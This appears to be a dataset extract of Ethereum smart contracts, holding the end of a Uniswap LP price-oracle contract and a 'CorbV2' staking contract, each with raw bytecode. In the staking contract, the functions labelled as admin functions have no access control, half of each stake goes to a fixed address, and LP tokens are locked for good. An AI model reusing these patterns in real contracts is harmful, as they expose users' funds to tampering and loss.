if supply == 0 require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow"); quote = uint128(preq); // WAD } function poke() external { // Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy. uint256 hop_; { // Block-scoping these variables saves some gas. uint256 stopped_; uint256 zph_; assembly { let slot1 := sload(1) stopped_ := and(slot1, 0xff ) hop_ := and(shr(8, slot1), 0xffff) zph_ := shr(24, slot1) } // When stopped, values are set to zero and should remain such; thus, disallow updating in that case. require(stopped_ == 0, "UNIV2LPOracle/is-stopped"); // Equivalent to requiring that pass() returns true. // The logic is repeated instead of calling pass() to save gas // (both by eliminating an internal call here, and allowing pass to be external). require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed"); } uint128 val = seek(); require(val != 0, "UNIV2LPOracle/invalid-price"); Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later. cur = cur_; nxt = Feed(val, 1); // The below is equivalent to: // // zph = block.timestamp + hop // // but ensures no extra SLOADs are performed. // // Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop) // will not overflow (even a 232 bit value) for a very long time. // // Also, we know stopped was zero, so there is no need to account for it explicitly here. assembly { sstore( 1, add( // zph value starts 24 bits in shl(24, add(timestamp(), hop_)), // hop value starts 8 bits in shl(8, hop_) ) ) } // Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs. emit Value(cur_.val, val); // Safe to terminate immediately since no postfix modifiers are applied. assembly { stop() } } function peek() external view toll returns (bytes32,bool) { return (bytes32(uint256(cur.val)), cur.has == 1); } function peep() external view toll returns (bytes32,bool) { return (bytes32(uint256(nxt.val)), nxt.has == 1); } function read() external view toll returns (bytes32) { require(cur.has == 1, "UNIV2LPOracle/no-current-value"); return (bytes32(uint256(cur.val))); } function kiss(address _a) external auth { require(_a != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a] = 1; emit Kiss(_a); } function kiss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a[i]] = 1; emit Kiss(_a[i]); } } function diss(address _a) external auth { bud[_a] = 0; emit Diss(_a); } function diss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { bud[_a[i]] = 0; emit Diss(_a[i]); } } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610924565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610948565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3e565b6102d4610b44565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b68565b6102d4610b7a565b61018a610c40565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cb0565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e3f565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ee4565b610223610f7b565b6103a4610f8a565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f93565b6102d4611029565b6103f0611076565b604080519115158252519081900360200190f35b61040c61108f565b604080516001600160e81b039092168252519081900360200190f35b6104306110a5565b6040805161ffff9092168252519081900360200190f35b6101806110b4565b6102d46004803603602081101561046557600080fd5b50356001600160a01b031661113b565b61022361114d565b6101806004803603602081101561049357600080fd5b50356001600160a01b031661115c565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f69732d73746f707065640000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f6e6f742d7061737365640000000000000000604482015290519081900360640190fd5b5050600061067761125d565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f696e76616c69642d70726963650000000000604482015290519081900360640190fd5b6106dc6118ee565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610876576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b60016002600085858581811061088857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e957fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000dfc14d2af169b0d36c4eff567ada9b2e0cae044f81565b3360009081526020819052604090205460011461099a576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b61ffff8111156109f1576040805162461bcd60e51b815260206004820152601960248201527f554e4956324c504f7261636c652f696e76616c69642d686f7000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a90576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600060026000858585818110610aad57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0e57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a93565b7f554e49563241415645455448000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc85760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2f576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c905760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610d02576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116610d5d576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b81610d8257600580546001600160a01b0319166001600160a01b038316179055610df8565b8160011415610dab57600680546001600160a01b0319166001600160a01b038316179055610df8565b6040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f696e76616c69642d69640000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e91576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f36576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fe5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104b57506000610c3d565b60015461107190630100000081046001600160e81b031690610100900461ffff166116dc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611106576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111ae576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116611209576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b60007f000000000000000000000000dfc14d2af169b0d36c4eff567ada9b2e0cae044f6001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506000807f000000000000000000000000dfc14d2af169b0d36c4eff567ada9b2e0cae044f6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d606081101561135857600080fd5b50805160209091015190925090506001600160701b0382161580159061138757506000816001600160701b0316115b6113d8576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f696e76616c69642d72657365727665730000604482015290519081900360640190fd5b600554604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d602081101561144757600080fd5b50519050806114875760405162461bcd60e51b81526004018080602001828103825260248152602001806119066024913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b1580156114cc57600080fd5b505afa1580156114e0573d6000803e3d6000fd5b505050506040513d60208110156114f657600080fd5b50519050806115365760405162461bcd60e51b81526004018080602001828103825260248152602001806119706024913960400191505060405180910390fd5b60007f000000000000000000000000dfc14d2af169b0d36c4eff567ada9b2e0cae044f6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b5051905060007f0000000000000000000000000000000000000000000000000de0b6b3a76400006115f5856001600160701b03891661173a565b816115fc57fe5b04905060007f0000000000000000000000000000000000000000000000000de0b6b3a764000061163585886001600160701b031661173a565b8161163c57fe5b04905060008361166e671bc16d674ec8000061166061165b878761173a565b6117a6565b6001600160801b031661173a565b8161167557fe5b049050600160801b81106116d0576040805162461bcd60e51b815260206004820152601c60248201527f554e4956324c504f7261636c652f71756f74652d6f766572666c6f7700000000604482015290519081900360640190fd5b98975050505050505050565b80820382811115611734576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b92915050565b60008115806117555750508082028282828161175257fe5b04145b611734576040805162461bcd60e51b815260206004820152601a60248201527f554e4956324c504f7261636c652f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b6000816117b5575060006118e9565b816001600160801b82106117ce5760809190911c9060401b5b6801000000000000000082106117e95760409190911c9060201b5b64010000000082106118005760209190911c9060101b5b6201000082106118155760109190911c9060081b5b61010082106118295760089190911c9060041b5b6010821061183c5760049190911c9060021b5b600882106118485760011b5b600181858161185357fe5b048201901c9050600181858161186557fe5b048201901c9050600181858161187757fe5b048201901c9050600181858161188957fe5b048201901c9050600181858161189b57fe5b048201901c905060018185816118ad57fe5b048201901c905060018185816118bf57fe5b048201901c905060008185816118d157fe5b0490508082106118e157806118e3565b815b93505050505b919050565b60408051808201909152600080825260208201529056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f6e6f742d617574686f72697a656400000000554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a26469706673582212206c71ea5b4a3564b81590e23af73a03746aee6212e2106a64806d6047deb00c0b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,653
0x15f5257a73d08d0d7c94b5b22f45511a0b7a62d1
// SPDX-License-Identifier: MIT /* _________ ________ ____________________ ________ \_ ___ \\_____ \\______ \______ ___ _\_____ \ / \ \/ / | \| _/| | _\ \/ // ____/ \ \___/ | | | \| | \\ // \ \______ \_______ |____|_ /|______ / \_/ \_______ \ \/ \/ \/ \/ \/ forked from Orb + Core LP tokens are staked forever! Website: corbv2.finance Telegram: https://t.me/corbv2 */ pragma solidity 0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow");} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;} function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero");} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero");} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b;} } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Uniswap{ function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getPair(address tokenA, address tokenB) external view returns (address pair); function WETH() external pure returns (address); } interface Pool{ function primary() external view returns (address); } contract Poolable{ address payable internal constant _POOLADDRESS = 0xfA0463FcD65AA8668c492e71Eda9653Ac1705C0d; function primary() private view returns (address) { return Pool(_POOLADDRESS).primary(); } modifier onlyPrimary() { require(msg.sender == primary(), "Caller is not primary"); _; } } contract StakingBalancer is Poolable{ using SafeMath for uint256; uint constant internal DECIMAL = 10**18; uint constant public INF = 33136721748; uint private _rewardValue = 10**21; mapping (address => uint256) public timePooled; mapping (address => uint256) private internalTime; mapping (address => uint256) private LPTokenBalance; mapping (address => uint256) private rewards; mapping (address => uint256) private referralEarned; address public corbV2Address; address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public WETHAddress = Uniswap(UNIROUTER).WETH(); bool private _unchangeable = false; bool private _tokenAddressGiven = false; bool public priceCapped = false; uint public creationTime = now; receive() external payable { if(msg.sender != UNIROUTER){ stake(); } } function sendValue(address payable recipient, uint256 amount) internal { (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } //If true, no changes can be made function unchangeable() public view returns (bool){ return _unchangeable; } function rewardValue() public view returns (uint){ return _rewardValue; } //THE ONLY ADMIN FUNCTIONS vvvv //After this is called, no changes can be made function makeUnchangeable() public { _unchangeable = true; } //Can only be called once to set token address function setTokenAddress(address input) public { require(!_tokenAddressGiven, "Function was already called"); _tokenAddressGiven = true; corbV2Address = input; } //Set reward value that has high APY, can't be called if makeUnchangeable() was called function updateRewardValue(uint input) public { require(!unchangeable(), "makeUnchangeable() function was already called"); _rewardValue = input; } //Cap token price at 1 eth, can't be called if makeUnchangeable() was called function capPrice(bool input) public { require(!unchangeable(), "makeUnchangeable() function was already called"); priceCapped = input; } //THE ONLY ADMIN FUNCTIONS ^^^^ function sqrt(uint y) public pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function stake() public payable{ require(creationTime + 1 hours <= now, "It has not been 1 hour since contract creation yet"); address staker = msg.sender; address poolAddress = Uniswap(FACTORY).getPair(corbV2Address, WETHAddress); if(price() >= (1.05 * 10**18) && priceCapped){ uint t = IERC20(corbV2Address).balanceOf(poolAddress); //token in uniswap uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994; IERC20(corbV2Address).mint(address(this), x); address[] memory path = new address[](2); path[0] = corbV2Address; path[1] = WETHAddress; IERC20(corbV2Address).approve(UNIROUTER, x); Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, _POOLADDRESS, INF); } sendValue(_POOLADDRESS, address(this).balance/2); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(corbV2Address).balanceOf(poolAddress); //token in uniswap uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount); IERC20(corbV2Address).mint(address(this), toMint); uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this)); uint amountTokenDesired = IERC20(corbV2Address).balanceOf(address(this)); IERC20(corbV2Address).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(corbV2Address, amountTokenDesired, 1, 1, address(this), INF); uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this)); uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore); rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker)); timePooled[staker] = now; internalTime[staker] = now; LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot); } function withdrawRewardTokens(uint amount) public { require(timePooled[msg.sender] + 3 days <= now, "It has not been 3 days since you staked yet"); rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender)); internalTime[msg.sender] = now; uint removeAmount = ethtimeCalc(amount); rewards[msg.sender] = rewards[msg.sender].sub(removeAmount); IERC20(corbV2Address).mint(msg.sender, amount); } function viewRecentRewardTokenAmount(address who) internal view returns (uint){ return (viewLPTokenAmount(who).mul( now.sub(internalTime[who]) )); } function viewRewardTokenAmount(address who) public view returns (uint){ return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who)) ); } function viewLPTokenAmount(address who) public view returns (uint){ return LPTokenBalance[who]; } function viewPooledEthAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(corbV2Address, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function viewPooledTokenAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(corbV2Address, WETHAddress); uint tokenAmount = IERC20(corbV2Address).balanceOf(poolAddress); //token in uniswap return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function price() public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(corbV2Address, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(corbV2Address).balanceOf(poolAddress); //token in uniswap return (DECIMAL.mul(ethAmount)).div(tokenAmount); } function ethEarnCalc(uint eth, uint time) public view returns(uint){ address poolAddress = Uniswap(FACTORY).getPair(corbV2Address, WETHAddress); uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint totalLP = IERC20(poolAddress).totalSupply(); uint LP = ((eth/2)*totalLP)/totalEth; return earnCalc(LP * time); } function earnCalc(uint LPTime) public view returns(uint){ return ( rewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL ); } function ethtimeCalc(uint orb) internal view returns(uint){ return ( orb.mul(31557600 * DECIMAL) ).div( rewardValue() ); } }
0x60806040526004361061014f5760003560e01c8063a035b1fe116100b6578063d28de2731161006f578063d28de273146103f6578063d488ebe81461040b578063d8270dce1461043e578063e42255d814610453578063e91ed7c914610486578063ff2eba68146104b957610179565b8063a035b1fe14610330578063a064b44b14610345578063a509bf681461036f578063b1fd674014610384578063c4fcf826146103b7578063cb43b2dd146103cc57610179565b8063475d873311610108578063475d8733146102595780634caacd751461026e578063677342ce146102975780637228cd7d146102c15780638439a541146102f15780639d2a679f1461031b57610179565b80630af88b241461017e57806312c7df73146101af57806326a4e8d2146101d657806329b83c2e146102095780632dd310001461023c5780633a4b66f11461025157610179565b366101795733737a250d5630b4cf539739df2c5dacb4c659f2488d14610177576101776104e5565b005b600080fd5b34801561018a57600080fd5b50610193610f39565b604080516001600160a01b039092168252519081900360200190f35b3480156101bb57600080fd5b506101c4610f48565b60408051918252519081900360200190f35b3480156101e257600080fd5b50610177600480360360208110156101f957600080fd5b50356001600160a01b0316610f4e565b34801561021557600080fd5b506101c46004803603602081101561022c57600080fd5b50356001600160a01b0316610fe3565b34801561024857600080fd5b50610193610ff5565b6101776104e5565b34801561026557600080fd5b5061017761100d565b34801561027a57600080fd5b50610283611022565b604080519115158252519081900360200190f35b3480156102a357600080fd5b506101c4600480360360208110156102ba57600080fd5b5035611032565b3480156102cd57600080fd5b506101c4600480360360408110156102e457600080fd5b5080359060200135611084565b3480156102fd57600080fd5b506101776004803603602081101561031457600080fd5b503561123c565b34801561032757600080fd5b506101c4611285565b34801561033c57600080fd5b506101c461128e565b34801561035157600080fd5b506101c46004803603602081101561036857600080fd5b5035611446565b34801561037b57600080fd5b50610193611474565b34801561039057600080fd5b506101c4600480360360208110156103a757600080fd5b50356001600160a01b0316611483565b3480156103c357600080fd5b5061028361162a565b3480156103d857600080fd5b50610177600480360360208110156103ef57600080fd5b503561163a565b34801561040257600080fd5b50610193611776565b34801561041757600080fd5b506101c46004803603602081101561042e57600080fd5b50356001600160a01b031661178e565b34801561044a57600080fd5b506101c46117c3565b34801561045f57600080fd5b506101c46004803603602081101561047657600080fd5b50356001600160a01b03166117c9565b34801561049257600080fd5b506101c4600480360360208110156104a957600080fd5b50356001600160a01b03166118b6565b3480156104c557600080fd5b50610177600480360360208110156104dc57600080fd5b503515156118d1565b42600854610e1001111561052a5760405162461bcd60e51b8152600401808060200182810382526032815260200180611cb16032913960400191505060405180910390fd5b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152513391600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561059857600080fd5b505afa1580156105ac573d6000803e3d6000fd5b505050506040513d60208110156105c257600080fd5b50519050670e92596fd62900006105d761128e565b101580156105ee5750600754600160b01b900460ff165b15610a3857600654604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561064457600080fd5b505afa158015610658573d6000803e3d6000fd5b505050506040513d602081101561066e57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156106c357600080fd5b505afa1580156106d7573d6000803e3d6000fd5b505050506040513d60208110156106ed57600080fd5b5051905060006107ca6107cd8402610712858002600902868602623cda200201611032565b038161071a57fe5b600654604080516340c10f1960e01b8152306004820152939092046024840181905291519193506001600160a01b0316916340c10f1991604480830192600092919082900301818387803b15801561077157600080fd5b505af1158015610785573d6000803e3d6000fd5b505060408051600280825260608083018452945090925090602083019080368337505060065482519293506001600160a01b0316918391506000906107c657fe5b6001600160a01b0392831660209182029290920101526007548251911690829060019081106107f157fe5b6001600160a01b039283166020918202929092018101919091526006546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d6004820152602481018790529051919093169263095ea7b39260448083019391928290030181600087803b15801561086857600080fd5b505af115801561087c573d6000803e3d6000fd5b505050506040513d602081101561089257600080fd5b50506040516318cbafe560e01b81526004810183815260016024830181905273fa0463fcd65aa8668c492e71eda9653ac1705c0d606484018190526407b71a3f546084850181905260a060448601908152865160a48701528651737a250d5630b4cf539739df2c5dacb4c659f2488d966318cbafe5968a96958a95909490939192909160c4909101906020878101910280838360005b83811015610940578181015183820152602001610928565b505050509050019650505050505050600060405180830381600087803b15801561096957600080fd5b505af115801561097d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156109a657600080fd5b81019080805160405193929190846401000000008211156109c657600080fd5b9083019060208201858111156109db57600080fd5b82518660208202830111640100000000821117156109f857600080fd5b82525081516020918201928201910280838360005b83811015610a25578181015183820152602001610a0d565b5050505090500160405250505050505050505b610a5973fa0463fcd65aa8668c492e71eda9653ac1705c0d60024704611933565b600754604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610aaa57600080fd5b505afa158015610abe573d6000803e3d6000fd5b505050506040513d6020811015610ad457600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b158015610b2957600080fd5b505afa158015610b3d573d6000803e3d6000fd5b505050506040513d6020811015610b5357600080fd5b505190506000610b6d83610b6747856119c8565b90611a28565b600654604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b158015610bc357600080fd5b505af1158015610bd7573d6000803e3d6000fd5b505050506000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610c2a57600080fd5b505afa158015610c3e573d6000803e3d6000fd5b505050506040513d6020811015610c5457600080fd5b5051600654604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610ca757600080fd5b505afa158015610cbb573d6000803e3d6000fd5b505050506040513d6020811015610cd157600080fd5b50516006546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201526024810184905290519293506001600160a01b039091169163095ea7b3916044808201926020929091908290030181600087803b158015610d3e57600080fd5b505af1158015610d52573d6000803e3d6000fd5b505050506040513d6020811015610d6857600080fd5b50506006546040805163f305d71960e01b81526001600160a01b0390921660048301526024820183905260016044830181905260648301523060848301526407b71a3f5460a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991479160c48082019260609290919082900301818588803b158015610df157600080fd5b505af1158015610e05573d6000803e3d6000fd5b50505050506040513d6060811015610e1c57600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038916916370a0823191602480820192602092909190829003018186803b158015610e6857600080fd5b505afa158015610e7c573d6000803e3d6000fd5b505050506040513d6020811015610e9257600080fd5b505190506000610ea28285611a6a565b9050610ecf610eb08a611aac565b6001600160a01b038b1660009081526004602052604090205490611add565b6001600160a01b038a166000908152600460209081526040808320939093556001815282822042908190556002825283832055600390522054610f129082611add565b6001600160a01b039099166000908152600360205260409020989098555050505050505050565b6007546001600160a01b031681565b60005490565b600754600160a81b900460ff1615610fad576040805162461bcd60e51b815260206004820152601b60248201527f46756e6374696f6e2077617320616c72656164792063616c6c65640000000000604482015290519081900360640190fd5b6007805460ff60a81b1916600160a81b179055600680546001600160a01b039092166001600160a01b0319909216919091179055565b60016020526000908152604090205481565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b6007805460ff60a01b1916600160a01b179055565b600754600160a01b900460ff1690565b60006003821115611075575080600160028204015b8181101561106f5780915060028182858161105e57fe5b04018161106757fe5b049050611047565b5061107f565b811561107f575060015b919050565b6006546007546040805163e6